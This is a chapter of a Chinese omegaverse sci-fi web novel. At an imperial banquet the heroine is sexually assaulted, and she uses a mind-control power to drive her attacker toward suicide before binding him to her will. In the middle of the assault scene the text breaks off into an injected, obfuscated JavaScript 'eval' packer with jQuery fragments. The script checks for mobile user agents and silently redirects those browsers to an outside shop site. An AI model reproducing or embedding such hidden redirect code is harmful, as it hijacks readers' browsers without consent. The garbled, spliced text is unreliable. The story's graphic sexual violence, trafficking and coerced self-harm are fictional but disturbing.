台阶最高处已空,太子提前进入贵宾通道,为开场致辞做准备。

    沈知意跟着沈淮踏入宴会厅,穹顶的星图投影缓缓流转,衣香鬓影、宾客如云,一派帝国强盛的景象。

    沈淮带她走向几个穿礼服的男人,桃花眼蓄着笑意:“这是教育部李部长,这是你们军校陈校长。这是我家沈白朵,在贵校精神域病理学系读书,还请各位多多照拂。”

    他们笑着应承,目光在她脸上礼貌地停留一秒,然后询问她的学习情况。

    沈知意乖巧回应。

    沈淮又带她去见了医疗部部长、帝都医院院长这些人物。

    突然,宴会厅前方传来一阵极轻的骚动。宾客们无声让开了一条道。

    她抬眼望去。

    太子萧时澜走上主席台。

    银发向后梳得一丝不苟,露出冷白的额头。纯白色的帝政军装礼服,肩章上的白金流苏泛着微芒,肩头披着一截轻薄短披风,短到腰部,随着步伐轻轻摇曳。

    他一步一步踏过星石地面,姿态挺拔如剑。

    看到他面容的那一瞬,沈知意后颈腺体猛地跳了一下——短短一天没见而已。

    她下意识地抿住唇,指尖蜷紧,指甲陷进掌心。

    沈淮的金丝镜链,极其细微地晃了一下。他侧过头,桃花眼在她脸上停了一瞬。然后他笑了,嘴角弯起来,手掌从她后颈滑到她肘弯,轻轻一提:“乖乖,一会儿去跟殿下问个好。”

    等太子致辞结束,他带她走向主桌。

    林小姐已经站在那里,白茶信息素淡得像一层看不见的纱。

    她旁边还有几个年轻女孩,都是微微低着头,姿态温婉,像一幅幅被精心装裱过的画。

    沈淮停在太子面前,金丝镜链重新晃起来,声音不高,刚好能让周围一圈人听清:“殿下,这是沈白朵。我带来的人,在中央军校读书,精神域病理学系。殿下是这个专业的专家,以后在学校见了,替我……看着点她。”

    太子萧时澜站在半步之外,丹凤眼垂着,他看的并非她的眼睛,而是她高领上方那截被灯光照得几乎透明的皮肤。

    他移开视线,朝她极淡地点了一下头,礼仪无可挑剔。

    随即,有人向太子介绍林小姐。太子转向她们,她微微屈膝行礼。

    就在太子与林小姐交谈的间隙,沈淮带她回到自己的座位。他微微俯身,嘴唇几乎贴上她耳廓,声音压得极低,像一缕浸了毒液的丝绒:“看见了吗?那是林疏月,林议员的独女;旁边那个,瑞迪王国的长公主乔伊娜,她对太子倾慕已久……”

    他兴致勃勃一一介绍:“她们都是皇室认可的储君相亲对象,下个月开始走基因匹配流程。这个宴会是专门给太子和年轻勋贵们的相亲宴。”

    他愉悦微笑,嘴角弯着,桃花眼紧紧盯着她的脸,拇指在她肘弯内侧轻轻摩挲。

    沈知意端起侍者托盘上的一杯冰镇饮料,喝了几口,液体滑进喉咙,冰得刺骨、口味苦涩。

    议长被人簇拥着奉承。

    自由活动区的灯光比主桌柔和,沈知意向露台走了过去,嫩黄的裙摆随着步伐轻轻晃动,像一朵移动的花。

    “沈副会长!”

    喊声从身后响起,声音大得让周围安静了一瞬。

    一个高大俊朗的年轻Alpha大步走过来,耳根红透,纯黑军装礼服的肩章在灯光下闪闪烁烁。

    他看着她,眼睛亮得像星星,又不敢直视她的脸,目光不受控滑向她的裙子,又猛地抬起来:“真的是你!我是李泽泓,机甲战斗系的!学生会竞选的时候,我给你投过票!”

    周围几个军校生窃笑起哄。他的麝香信息素是皮革和奶味,干净柔和,带着少年人横冲直撞的热情。

    他抢着给她拉椅子,递餐巾,讲机甲系训练场的趣事,试图吸引她注意。

    沈知意第一次遇到这种坦荡到近乎笨拙的追求,有些措手不及。她微笑着接过他递来的饮料,脑子里思考怎么离开。

    露台另一端,顾铭远靠在雕塑旁,他听到那声“沈副会长”,从几个年轻军校生嘴里听到了边境星来的难民,Beta会长,非常可爱,很有魅力……

    他嗤笑一声,又是那种攀附权贵的心机学生,他在俱乐部见得多了。他是军部顾元帅弟弟的独生子,仗着他大伯的名头,走私倒卖敌国战利品、贩卖珍稀的Omega——为了从边境星、难民星离开,她们什么都愿意做,舔他脚丫子都甘之若饴。

    那道嫩黄背影绊住他的目光:蓬松裙摆下若隐若现的脚踝,莹润发光;还有身体的曲线——难怪能从边境星到帝都呢,确实有点本钱。

    那女孩转身,可爱的脸让他目光黏着,像鬣狗盯住了带血的肉。

    沈知意往会场中央看了一眼,立刻又回头。

    她想起精神图景里,石屋中他握着她的手说“你进来了”;想起医疗舱里他扣住她后脑加深那个吻;想起他说“我不想让你以后怀疑我们的结合只是基因和信息素的失控。”

    而现在……

    她一口喝了饮料,后知后觉那甜甜的…是果酒。

    这身体没有喝过酒精饮料,双重刺激之下,她精神图景的百叶窗剧烈震颤一下,无花果甜香从缝隙里渗出一丝,极细、极甜,像熟透的果肉被掐破了一滴汁,迅速消散在空气中。

    李泽泓的信息素猛然暴起,整个人瞬间进入了状态,又强行抑制。

    沈知意趁势放下杯子,对面红耳赤的李泽泓说了句“我好像喝多了,失陪一下”,快步走向宴会厅边缘的盥洗室。

    她需要平复,需要关窗。

    顾铭远一直在窥视她,一丝若有若无的无花果甜香——在离开李泽泓的麝香包围后,终于清晰地飘进他的鼻腔。

    那是顶级Omega的信息素,甜得发腻。

    他瞳孔收缩,立刻跟了上去,看她躲在阴影里,手按着后脖的腺体部位——真是骚浪,大庭广众就做出这种勾引的姿势!

    他悄悄靠近,手掌死死捂住她的嘴,另一只手粗暴地扣住她的腰,将她拖进最近的应急安全屋。

    舱门“咔哒”一声合拢,隔绝了外界所有的光与声。

    同一秒——

    宴会厅中央,太子正听林疏月说话,忽然耳后青筋一跳。

    深处,那枚锚点毫无预兆地炸开。是灼烧,像有人把一根烧红的针从冻土下捅上来,直直扎进神经中枢。

    他面上不动声色,握着香槟杯的手指却骤然收紧。杯脚裂纹蔓延,像蛛网无声爬开。

    他低头在终端命令萧岳:“找到沈白朵,别让她离开视线。”

    安全屋内。

    一股呛得人喉咙发苦的烟草味爆发出来,这是顾铭远的信息素臭味。

    “装什么Beta?”他撕下世家子弟的伪装,犬齿伸出,带着腥气喷在她耳后,“那股甜香……我在黑市里经手过那么多顶级货,没一个甜成你这样。这么能藏……是把价码抬得很高吗?让老子验验货,是不是跟表面看起来一样甜……”

    他撕扯着她嫩黄色的泡泡袖,布料发出不堪重负的撕裂声。冰凉的黑曜石戒指划过她锁骨的皮肤,留下一道刺痒的红痕。

    他低下头啃噬,牙齿恶劣地碾过她高领边缘露

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784895|208280||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    出的那截皮肤,试图用疼痛逼出她更多的信息素,像野蛮的野兽在标记自己的猎物。

    窒息感淹没上来,混合着被玷污的恶心,恐惧在脊椎骨里炸开,顺着神经直冲右手腕。

    皮肤下的蜂鸟疯狂搏动,瞬间暴走。

    杀了他。

    这个念头是从恐惧本身里淬炼出的本能。

    蜂鸟喙部刺破皮肤,零距离扎进顾铭远后颈的腺体核。不是对盛炽野那种安抚写入,是暴力灌注。

    上位码扭转成最原始的毁灭指令——自裁吧,垃圾!

    顾铭远瞳孔骤然收缩成针尖,脸上的狞笑凝固成极致的惊恐。他不受控制地松开钳制她的手,转而从墙角掰出一块断裂的金属片。

    他手臂僵硬地抬起,锋利的金属尖端对准了自己的咽喉,皮肤已经被压出一道白痕,再进一寸就会动脉破裂。

    沈知意透过他恐惧放大的瞳孔,看到了自己苍白的倒影,也在记忆碎片看到他飞扬跋扈和肮脏混乱的过往。

    金属片刺破了表皮,一滴血珠渗了出来。

    停下!他还有用。

    残存的理智像拦截钢丝,在最后一毫米勒住了那股毁灭的洪流。

    蜂鸟的搏动戛然而止,暴走的指令被硬生生截住。

    “哐当。”

    金属片从顾铭远手中脱落,砸在地板上。

    他瘫软跪下,大口喘息,像是刚从深水里被打捞上来,只剩下生理性的颤抖和失禁后的腥臊。

    沈知意也靠在墙壁上,浑身冷汗,右手腕内侧烫得像一块烙铁。

    她看着眼前这个曾经不可一世的A级Alpha,此刻像一条被抽了脊梁的狗,趴在她脚边。

    她伸出手捏住顾铭远的下巴,强迫他抬起头。指尖还在抖,声音却平静得可怕:

    “你的命,现在是我的。”

    她看着他瞳孔深处尚未散去、面对死神般的惊恐,一字一顿地烙下印记:

    “听我号令,遵我意愿。”

    “现在,把你弄出来的这堆垃圾,清理干净。这身味道,这滩水,这些血。”

    她松开手,任由他的头垂下去,蜂鸟启动又增加了几个控制点。

    她顿了顿:“再敢强制标记任何人,我会让你亲手把自己剩下的零件拆干净。明白吗?”

    顾铭远疯狂地点头,喉咙里发出破碎的咯咯声。

    沈知意撑着墙壁站直,扯下那截被撕破的泡泡袖,用披肩勉强固定住领口。她理了理头发,推开安全屋厚重的舱门,头也不回地走进了宴会厅外的夜色里。

    太子手中香槟杯“咔嚓”裂响。

    身旁的瑞迪王国长公主还在问:“殿下,皇庭的星图穹顶……”

    “失陪。”他声音没有起伏,杯底往侍者托盘上一搁,银发已转向露台方向。

    女孩们愣在原地。

    他的银发在夜风里动了动,肩头短披风的流苏几乎要飞起来。

    他到达时,安全屋的舱门已经合拢,空无一人。

    只有一丝极淡、混杂着无花果甜香与腐烂烟草尾调的气息,从门缝里渗出来,被夜风吹散。

    太子站在空荡的阴影里,询问萧岳:“人呢?”

    沈淮刚从财政大臣的寒暄中抽身,金丝镜链随着他转头的动作轻轻晃动。

    一条新信息弹了出来。

    发信人:沈白朵。

    内容:身体有些不适,让司机先送我回了。

    沈淮桃花眼微微眯起,嘴角勾起一抹极深、极满意的弧度。

    他端起一杯酒,慢条斯理地喝了一口,遥遥对着太子举杯。